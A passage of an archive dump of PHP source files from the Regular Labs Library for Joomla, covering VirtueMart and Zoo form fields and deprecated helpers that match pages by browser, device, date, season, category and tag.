* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use RegularLabs\Library\Version as RL_Version;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Version extends \RegularLabs\Library\Field
{
public $type = 'Version';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$extension = $this->get('extension');
$xml = $this->get('xml');
if ( ! $xml && $this->form->getValue('element'))
{
if ($this->form->getValue('folder'))
{
$xml = 'plugins/' .
$this->form->getValue('folder') . '/' .
$this->form->getValue('element') . '/' .
$this->form->getValue('element') . '.xml';
}
else
{
$xml = 'administrator/modules/' .
$this->form->getValue('element') . '/' .
$this->form->getValue('element') . '.xml';
}
if ( ! file_exists(JPATH_SITE . '/' . $xml))
{
return '';
}
}
if (empty($extension) || empty($xml))
{
return '';
}
if ( ! JFactory::getUser()->authorise('core.manage',
'com_installer'))
{
return '';
}
return '</div><div class="hide">' .
RL_Version::getMessage($extension);
}
}
fields/virtuemart.php000064400000007125151165347240010742 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_VirtueMart extends \RegularLabs\Library\FieldGroup
{
public $type = 'VirtueMart';
public $language = null;
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories',
'products']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__virtuemart_categories AS c')
->where('c.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear()
->select('c.virtuemart_category_id as id, cc.category_parent_id
AS parent_id, l.category_name AS title, c.published')
->from('#__virtuemart_categories_' .
$this->getActiveLanguage() . ' AS l')
->join('', '#__virtuemart_categories AS c using
(virtuemart_category_id)')
->join('LEFT', '#__virtuemart_category_categories AS
cc ON l.virtuemart_category_id = cc.category_child_id')
->where('c.published > -1')
->group('c.virtuemart_category_id')
->order('c.ordering, l.category_name');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getProducts()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__virtuemart_products AS p')
->where('p.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('p.virtuemart_product_id as id, l.product_name AS name,
p.product_sku as sku, cl.category_name AS cat, p.published')
->join('LEFT', '#__virtuemart_products_' .
$this->getActiveLanguage() . ' AS l ON l.virtuemart_product_id =
p.virtuemart_product_id')
->join('LEFT', '#__virtuemart_product_categories AS x
ON x.virtuemart_product_id = p.virtuemart_product_id')
->join('LEFT', '#__virtuemart_categories AS c ON
c.virtuemart_category_id = x.virtuemart_category_id')
->join('LEFT', '#__virtuemart_categories_' .
$this->getActiveLanguage() . ' AS cl ON cl.virtuemart_category_id =
c.virtuemart_category_id')
->group('p.virtuemart_product_id')
->order('l.product_name, p.product_sku');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['sku',
'cat', 'id']);
}
private function getActiveLanguage()
{
if (isset($this->language))
{
return $this->language;
}
$this->language = 'en_gb';
if ( ! class_exists('VmConfig'))
{
require_once JPATH_ROOT .
'/administrator/components/com_virtuemart/helpers/config.php';
}
if ( ! class_exists('VmConfig'))
{
return $this->language;
}
VmConfig::loadConfig();
if ( ! empty(VmConfig::$vmlang))
{
$this->language = str_replace('-', '_',
strtolower(VmConfig::$vmlang));
return $this->language;
}
$active_languages = VmConfig::get('active_languages', []);
if ( ! isset($active_languages[0]))
{
return $this->language;
}
$this->language = str_replace('-', '_',
strtolower($active_languages[0]));
return $this->language;
}
}
fields/zoo.php000064400000007226151165347240007351 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Form as RL_Form;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Zoo extends \RegularLabs\Library\FieldGroup
{
public $type = 'Zoo';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['applications'
=> 'application', 'categories' =>
'category', 'items' => 'item']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__zoo_category AS c')
->where('c.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$options = [];
if ($this->get('show_ignore'))
{
if (in_array('-1', $this->value))
{
$this->value = ['-1'];
}
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_IGNORE') . ' -');
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
}
$query->clear()
->select('a.id, a.name')
->from('#__zoo_application AS a')
->order('a.name, a.id');
$this->db->setQuery($query);
$apps = $this->db->loadObjectList();
foreach ($apps as $i => $app)
{
$query->clear()
->select('c.id, c.parent AS parent_id, c.name AS title,
c.published')
->from('#__zoo_category AS c')
->where('c.application_id = ' . (int) $app->id)
->where('c.published > -1')
->order('c.ordering, c.name');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
if ($i)
{
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
}
// establish the hierarchy of the menu
// TODO: use node model
$children = [];
if ($items)
{
// first pass - collect children
foreach ($items as $v)
{
$pt = $v->parent_id;
$list = @$children[$pt] ? $children[$pt] : [];
array_push($list, $v);
$children[$pt] = $list;
}
}
// second pass - get an indent list of the items
$list = JHtml::_('menu.treerecurse', 0, '', [],
$children, 9999, 0, 0);
// assemble items to the array
$options[] = JHtml::_('select.option', 'app' .
$app->id, '[' . $app->name . ']');
foreach ($list as $item)
{
$item->treename = ' ' .
str_replace('  - ', ' ',
$item->treename);
$item->treename = RL_Form::prepareSelectItem($item->treename,
$item->published);
$option = JHtml::_('select.option', $item->id,
$item->treename);
$option->level = 1;
$options[] = $option;
}
}
return $options;
}
function getItems()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__zoo_item AS i')
->where('i.state > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('i.id, i.name, a.name as cat, i.state as
published')
->join('LEFT', '#__zoo_application AS a ON a.id =
i.application_id')
->group('i.id')
->order('i.name, i.priority, i.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['cat',
'id']);
}
}
helpers/assignment.php000064400000002561151165347240011103 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLAssignment
extends \RegularLabs\Library\Condition
{
function pass($pass = true, $include_type = null)
{
return $this->_($pass, $include_type);
}
public function passByPageTypes($option, $selection = [], $assignment =
'all', $add_view = false, $get_task = false, $get_layout = true)
{
return $this->passByPageType($option, $selection, $assignment,
$add_view, $get_task, $get_layout);
}
public function passContentIds()
{
return $this->passContentId();
}
public function passContentKeywords($fields = ['title',
'introtext', 'fulltext'], $text = '')
{
return $this->passContentKeyword($fields, $text);
}
public function passMetaKeywords($field = 'metakey', $keywords =
'')
{
return $this->passMetaKeyword($field, $keywords);
}
public function passAuthors($field = 'created_by', $author =
'')
{
return $this->passAuthors($field, $author);
}
}
helpers/assignments/agents.php000064400000007077151165347250012557
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
require_once dirname(__DIR__) . '/text.php';
require_once dirname(__DIR__) . '/mobile_detect.php';
class RLAssignmentsAgents extends RLAssignment
{
var $agent = null;
var $device = null;
/**
* passBrowsers
*/
public function passBrowsers()
{
if (empty($this->selection))
{
return $this->pass(false);
}
foreach ($this->selection as $browser)
{
if ( ! $this->passBrowser($browser))
{
continue;
}
return $this->pass(true);
}
return $this->pass(false);
}
/**
* passOS
*/
public function passOS()
{
return self::passBrowsers();
}
/**
* passDevices
*/
public function passDevices()
{
$pass = (in_array('mobile', $this->selection) &&
$this->isMobile())
|| (in_array('tablet', $this->selection) &&
$this->isTablet())
|| (in_array('desktop', $this->selection) &&
$this->isDesktop());
return $this->pass($pass);
}
/**
* isPhone
*/
public function isPhone()
{
return $this->isMobile();
}
/**
* isMobile
*/
public function isMobile()
{
return $this->getDevice() == 'mobile';
}
/**
* isTablet
*/
public function isTablet()
{
return $this->getDevice() == 'tablet';
}
/**
* isDesktop
*/
public function isDesktop()
{
return $this->getDevice() == 'desktop';
}
/**
* setDevice
*/
private function getDevice()
{
if ( ! is_null($this->device))
{
return $this->device;
}
$detect = new RLMobile_Detect;
$this->is_mobile = $detect->isMobile();
switch (true)
{
case($detect->isTablet()):
$this->device = 'tablet';
break;
case ($detect->isMobile()):
$this->device = 'mobile';
break;
default:
$this->device = 'desktop';
}
return $this->device;
}
/**
* getAgent
*/
private function getAgent()
{
if ( ! is_null($this->agent))
{
return $this->agent;
}
$detect = new RLMobile_Detect;
$agent = $detect->getUserAgent();
switch (true)
{
case (stripos($agent, 'Trident') !== false):
// Add MSIE to IE11
$agent = preg_replace('#(Trident/[0-9\.]+;
rv:([0-9\.]+))#is', '\1 MSIE \2', $agent);
break;
case (stripos($agent, 'Chrome') !== false):
// Remove Safari from Chrome
$agent = preg_replace('#(Chrome/.*)Safari/[0-9\.]*#is',
'\1', $agent);
// Add MSIE to IE Edge and remove Chrome from IE Edge
$agent = preg_replace('#Chrome/.*(Edge/[0-9])#is', 'MSIE
\1', $agent);
break;
case (stripos($agent, 'Opera') !== false):
$agent = preg_replace('#(Opera/.*)Version/#is',
'\1Opera/', $agent);
break;
}
$this->agent = $agent;
return $this->agent;
}
/**
* passBrowser
*/
private function passBrowser($browser = '')
{
if ( ! $browser)
{
return false;
}
if ($browser == 'mobile')
{
return $this->isMobile();
}
if ( ! (strpos($browser, '#') === 0))
{
$browser = '#' . RLText::pregQuote($browser) . '#';
}
// also check for _ instead of .
$browser = preg_replace('#\\\.([^\]])#', '[\._]\1',
$browser);
$browser = str_replace('\.]', '\._]', $browser);
return preg_match($browser . 'i', $this->getAgent());
}
}
helpers/assignments/akeebasubs.php000064400000002606151165347250013374
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLAssignmentsAkeebaSubs extends RLAssignment
{
public function init()
{
if ( ! $this->request->id && $this->request->view ==
'level')
{
$slug =
JFactory::getApplication()->input->getString('slug',
'');
if ($slug)
{
$query = $this->db->getQuery(true)
->select('l.akeebasubs_level_id')
->from('#__akeebasubs_levels AS l')
->where('l.slug = ' . $this->db->quote($slug));
$this->db->setQuery($query);
$this->request->id = $this->db->loadResult();
}
}
}
public function passPageTypes()
{
return $this->passByPageTypes('com_akeebasubs',
$this->selection, $this->assignment);
}
public function passLevels()
{
if ( ! $this->request->id || $this->request->option !=
'com_akeebasubs' || $this->request->view !=
'level')
{
return $this->pass(false);
}
return $this->passSimple($this->request->id);
}
}
helpers/assignments/components.php000064400000001321151165347250013445
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsComponents extends RLAssignment
{
public function passComponents()
{
return $this->passSimple(strtolower($this->request->option));
}
}
helpers/assignments/content.php000064400000013030151165347250012732
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
use Joomla\CMS\Table\Table as JTable;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsContent extends RLAssignment
{
public function passPageTypes()
{
$components = ['com_content', 'com_contentsubmit'];
if ( ! in_array($this->request->option, $components))
{
return $this->pass(false);
}
if ($this->request->view == 'category' &&
$this->request->layout == 'blog')
{
$view = 'categoryblog';
}
else
{
$view = $this->request->view;
}
return $this->passSimple($view);
}
public function passCategories()
{
// components that use the com_content secs/cats
$components = ['com_content', 'com_flexicontent',
'com_contentsubmit'];
if ( ! in_array($this->request->option, $components))
{
return $this->pass(false);
}
if (empty($this->selection))
{
return $this->pass(false);
}
$is_content = in_array($this->request->option,
['com_content', 'com_flexicontent']);
$is_category = in_array($this->request->view,
['category']);
$is_item = in_array($this->request->view, ['',
'article', 'item', 'form']);
if (
$this->request->option != 'com_contentsubmit'
&& ! ($this->params->inc_categories && $is_content
&& $is_category)
&& ! ($this->params->inc_articles && $is_content
&& $is_item)
&& ! ($this->params->inc_others && ! ($is_content
&& ($is_category || $is_item)))
)
{
return $this->pass(false);
}
if ($this->request->option == 'com_contentsubmit')
{
// Content Submit
$contentsubmit_params = new ContentsubmitModelArticle;
if (in_array($contentsubmit_params->_id, $this->selection))
{
return $this->pass(true);
}
return $this->pass(false);
}
$pass = false;
if (
$this->params->inc_others
&& ! ($is_content && ($is_category || $is_item))
&& $this->article
)
{
if ( ! isset($this->article->id) &&
isset($this->article->slug))
{
$this->article->id = (int) $this->article->slug;
}
if ( ! isset($this->article->catid) &&
isset($this->article->catslug))
{
$this->article->catid = (int) $this->article->catslug;
}
$this->request->id = $this->article->id;
$this->request->view = 'article';
}
$catids = $this->getCategoryIds($is_category);
foreach ($catids as $catid)
{
if ( ! $catid)
{
continue;
}
$pass = in_array($catid, $this->selection);
if ($pass && $this->params->inc_children == 2)
{
$pass = false;
continue;
}
if ( ! $pass && $this->params->inc_children)
{
$parent_ids = $this->getCatParentIds($catid);
$parent_ids = array_diff($parent_ids, [1]);
foreach ($parent_ids as $id)
{
if (in_array($id, $this->selection))
{
$pass = true;
break;
}
}
unset($parent_ids);
}
}
return $this->pass($pass);
}
private function getCategoryIds($is_category = false)
{
if ($is_category)
{
return (array) $this->request->id;
}
if ( ! $this->article && $this->request->id)
{
$this->article = JTable::getInstance('content');
$this->article->load($this->request->id);
}
if ($this->article && $this->article->catid)
{
return (array) $this->article->catid;
}
$catid =
JFactory::getApplication()->input->getInt('catid',
JFactory::getApplication()->getUserState('com_content.articles.filter.category_id'));
$menuparams = $this->getMenuItemParams($this->request->Itemid);
if ($this->request->view == 'featured')
{
$menuparams = $this->getMenuItemParams($this->request->Itemid);
return isset($menuparams->featured_categories) ? (array)
$menuparams->featured_categories : (array) $catid;
}
return isset($menuparams->catid) ? (array) $menuparams->catid :
(array) $catid;
}
public function passArticles()
{
if ( ! $this->request->id
|| ! (($this->request->option == 'com_content'
&& $this->request->view == 'article')
|| ($this->request->option == 'com_flexicontent'
&& $this->request->view == 'item')
)
)
{
return $this->pass(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentIds'))
{
return $this->pass(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeywords'))
{
return $this->pass(false);
}
// Pass Meta Keywords
if ( ! $this->passItemByType($pass, 'MetaKeywords'))
{
return $this->pass(false);
}
// Pass Authors
if ( ! $this->passItemByType($pass, 'Authors'))
{
return $this->pass(false);
}
return $this->pass($pass);
}
public function getItem($fields = [])
{
if ($this->article)
{
return $this->article;
}
if ( ! class_exists('ContentModelArticle'))
{
require_once JPATH_SITE .
'/components/com_content/models/article.php';
}
$model = JModel::getInstance('article',
'contentModel');
if ( ! method_exists($model, 'getItem'))
{
return null;
}
$this->article = $model->getItem($this->request->id);
return $this->article;
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'categories');
}
}
helpers/assignments/cookieconfirm.php000064400000001477151165347250014123
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsCookieConfirm extends RLAssignment
{
public function passCookieConfirm()
{
require_once JPATH_PLUGINS . '/system/cookieconfirm/core.php';
$pass = PlgSystemCookieconfirmCore::getInstance()->isCookiesAllowed();
return $this->pass($pass);
}
}
helpers/assignments/datetime.php000064400000014107151165347250013062
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsDateTime extends RLAssignment
{
var $timezone = null;
var $dates = [];
public function passDate()
{
if ( ! $this->params->publish_up && !
$this->params->publish_down)
{
// no date range set
return ($this->assignment == 'include');
}
require_once dirname(__DIR__) . '/text.php';
RLText::fixDate($this->params->publish_up);
RLText::fixDate($this->params->publish_down);
$now = $this->getNow();
$up = $this->getDate($this->params->publish_up);
$down = $this->getDate($this->params->publish_down);
if (isset($this->params->recurring) &&
$this->params->recurring)
{
if ( ! (int) $this->params->publish_up || ! (int)
$this->params->publish_down)
{
// no date range set
return ($this->assignment == 'include');
}
$up = strtotime(date('Y') . $up->format('-m-d
H:i:s', true));
$down = strtotime(date('Y') . $down->format('-m-d
H:i:s', true));
// pass:
// 1) now is between up and down
// 2) up is later in year than down and:
// 2a) now is after up
// 2b) now is before down
if (
($up < $now && $down > $now)
|| ($up > $down
&& (
$up < $now
|| $down > $now
)
)
)
{
return ($this->assignment == 'include');
}
// outside date range
return $this->pass(false);
}
if (
(
(int) $this->params->publish_up
&& strtotime($up->format('Y-m-d H:i:s', true))
> $now
)
|| (
(int) $this->params->publish_down
&& strtotime($down->format('Y-m-d H:i:s', true))
< $now
)
)
{
// outside date range
return $this->pass(false);
}
// pass
return ($this->assignment == 'include');
}
public function passSeasons()
{
$season = self::getSeason($this->date,
$this->params->hemisphere);
return $this->passSimple($season);
}
public function passMonths()
{
$month = $this->date->format('m', true); // 01 (for
January) through 12 (for December)
return $this->passSimple((int) $month);
}
public function passDays()
{
$day = $this->date->format('N', true); // 1 (for Monday)
though 7 (for Sunday )
return $this->passSimple($day);
}
public function passTime()
{
$now = $this->getNow();
$up = strtotime($this->date->format('Y-m-d ', true) .
$this->params->publish_up);
$down = strtotime($this->date->format('Y-m-d ', true) .
$this->params->publish_down);
if ($up > $down)
{
// publish up is after publish down (spans midnight)
// current time should be:
// - after publish up
// - OR before publish down
if ($now >= $up || $now < $down)
{
return $this->pass(true);
}
return $this->pass(false);
}
// publish down is after publish up (simple time span)
// current time should be:
// - after publish up
// - AND before publish down
if ($now >= $up && $now < $down)
{
return $this->pass(true);
}
return $this->pass(false);
}
private function getSeason(&$d, $hemisphere = 'northern')
{
// Set $date to today
$date = strtotime($d->format('Y-m-d H:i:s', true));
// Get year of date specified
$date_year = $d->format('Y', true); // Four digit
representation for the year
// Specify the season names
$season_names = ['winter', 'spring',
'summer', 'fall'];
// Declare season date ranges
switch (strtolower($hemisphere))
{
case 'southern':
if (
$date < strtotime($date_year . '-03-21')
|| $date >= strtotime($date_year . '-12-21')
)
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-09-23'))
{
return $season_names[1]; // Must be in Spring
}
if ($date >= strtotime($date_year . '-06-21'))
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-03-21'))
{
return $season_names[3]; // Must be in Fall
}
break;
case 'australia':
if (
$date < strtotime($date_year . '-03-01')
|| $date >= strtotime($date_year . '-12-01')
)
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-09-01'))
{
return $season_names[1]; // Must be in Spring
}
if ($date >= strtotime($date_year . '-06-01'))
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-03-01'))
{
return $season_names[3]; // Must be in Fall
}
break;
default: // northern
if (
$date < strtotime($date_year . '-03-21')
|| $date >= strtotime($date_year . '-12-21')
)
{
return $season_names[0]; // Must be in Winter
}
if ($date >= strtotime($date_year . '-09-23'))
{
return $season_names[3]; // Must be in Fall
}
if ($date >= strtotime($date_year . '-06-21'))
{
return $season_names[2]; // Must be in Summer
}
if ($date >= strtotime($date_year . '-03-21'))
{
return $season_names[1]; // Must be in Spring
}
break;
}
return 0;
}
private function getNow()
{
return strtotime($this->date->format('Y-m-d H:i:s',
true));
}
private function getDate($date = '')
{
$id = 'date_' . $date;
if (isset($this->dates[$id]))
{
return $this->dates[$id];
}
$this->dates[$id] = JFactory::getDate($date);
if (empty($this->params->ignore_time_zone))
{
$this->dates[$id]->setTimeZone($this->getTimeZone());
}
return $this->dates[$id];
}
private function getTimeZone()
{
if ( ! is_null($this->timezone))
{
return $this->timezone;
}
$this->timezone = new
DateTimeZone(JFactory::getApplication()->getCfg('offset'));
return $this->timezone;
}
}
helpers/assignments/easyblog.php000064400000010007151165347260013067
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsEasyBlog extends RLAssignment
{
public function passPageTypes()
{
return $this->passByPageTypes('com_easyblog',
$this->selection, $this->assignment);
}
public function passCategories()
{
if ($this->request->option != 'com_easyblog')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_categories &&
$this->request->view == 'categories')
|| ($this->params->inc_items && $this->request->view
== 'entry')
);
if ( ! $pass)
{
return $this->pass(false);
}
$cats = $this->makeArray($this->getCategories());
$pass = $this->passSimple($cats, 'include');
if ($pass && $this->params->inc_children == 2)
{
return $this->pass(false);
}
else if ( ! $pass && $this->params->inc_children)
{
foreach ($cats as $cat)
{
$cats = array_merge($cats, $this->getCatParentIds($cat));
}
}
return $this->passSimple($cats);
}
private function getCategories()
{
switch ($this->request->view)
{
case 'entry' :
return $this->getCategoryIDFromItem();
break;
case 'categories' :
return $this->request->id;
break;
default:
return '';
}
}
private function getCategoryIDFromItem()
{
$query = $this->db->getQuery(true)
->select('i.category_id')
->from('#__easyblog_post AS i')
->where('i.id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadResult();
}
public function passTags()
{
if ($this->request->option != 'com_easyblog')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_tags && $this->request->layout
== 'tag')
|| ($this->params->inc_items && $this->request->view
== 'entry')
);
if ( ! $pass)
{
return $this->pass(false);
}
if ($this->params->inc_tags && $this->request->layout
== 'tag')
{
$query = $this->db->getQuery(true)
->select('t.alias')
->from('#__easyblog_tag AS t')
->where('t.id = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
$query = $this->db->getQuery(true)
->select('t.alias')
->from('#__easyblog_post_tag AS x')
->join('LEFT', '#__easyblog_tag AS t ON t.id =
x.tag_id')
->where('x.post_id = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
return $this->passSimple($tags, true);
}
public function passItems()
{
if ( ! $this->request->id || $this->request->option !=
'com_easyblog' || $this->request->view !=
'entry')
{
return $this->pass(false);
}
$pass = false;
// Pass Article Id
if ( ! $this->passItemByType($pass, 'ContentIds'))
{
return $this->pass(false);
}
// Pass Content Keywords
if ( ! $this->passItemByType($pass, 'ContentKeywords'))
{
return $this->pass(false);
}
// Pass Authors
if ( ! $this->passItemByType($pass, 'Authors'))
{
return $this->pass(false);
}
return $this->pass($pass);
}
public function passContentKeywords($fields = ['title',
'intro', 'content'], $text = '')
{
parent::passContentKeywords($fields);
}
public function getItem($fields = [])
{
$query = $this->db->getQuery(true)
->select($fields)
->from('#__easyblog_post')
->where('id = ' . (int) $this->request->id);
$this->db->setQuery($query);
return $this->db->loadObject();
}
private function getCatParentIds($id = 0)
{
return $this->getParentIds($id, 'easyblog_category',
'parent_id');
}
}
helpers/assignments/flexicontent.php000064400000004622151165347260013772
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
require_once dirname(__DIR__) . '/assignment.php';
class RLAssignmentsFlexiContent extends RLAssignment
{
public function passPageTypes()
{
return $this->passByPageTypes('com_flexicontent',
$this->selection, $this->assignment);
}
public function passTags()
{
if ($this->request->option != 'com_flexicontent')
{
return $this->pass(false);
}
$pass = (
($this->params->inc_tags && $this->request->view ==
'tags')
|| ($this->params->inc_items &&
in_array($this->request->view, ['item',
'items']))
);
if ( ! $pass)
{
return $this->pass(false);
}
if ($this->params->inc_tags && $this->request->view
== 'tags')
{
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__flexicontent_tags AS t')
->where('t.id = ' . (int)
trim(JFactory::getApplication()->input->getInt('id', 0)))
->where('t.published = 1');
$this->db->setQuery($query);
$tag = $this->db->loadResult();
$tags = [$tag];
}
else
{
$query = $this->db->getQuery(true)
->select('t.name')
->from('#__flexicontent_tags_item_relations AS x')
->join('LEFT', '#__flexicontent_tags AS t ON t.id =
x.tid')
->where('x.itemid = ' . (int) $this->request->id)
->where('t.published = 1');
$this->db->setQuery($query);
$tags = $this->db->loadColumn();
}
return $this->passSimple($tags, true);
}
public function passTypes()
{
if ($this->request->option != 'com_flexicontent')
{
return $this->pass(false);
}
$pass = in_array($this->request->view, ['item',
'items']);
if ( ! $pass)
{
return $this->pass(false);
}
$query = $this->db->getQuery(true)
->select('x.type_id')
->from('#__flexicontent_items_ext AS x')
->where('x.item_id = ' . (int) $this->request->id);
$this->db->setQuery($query);
$type = $this->db->loadResult();
$types = $this->makeArray($type);
return $this->passSimple($types);
}
}
helpers/assignments/form2content.php000064400000002062151165347260013704
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
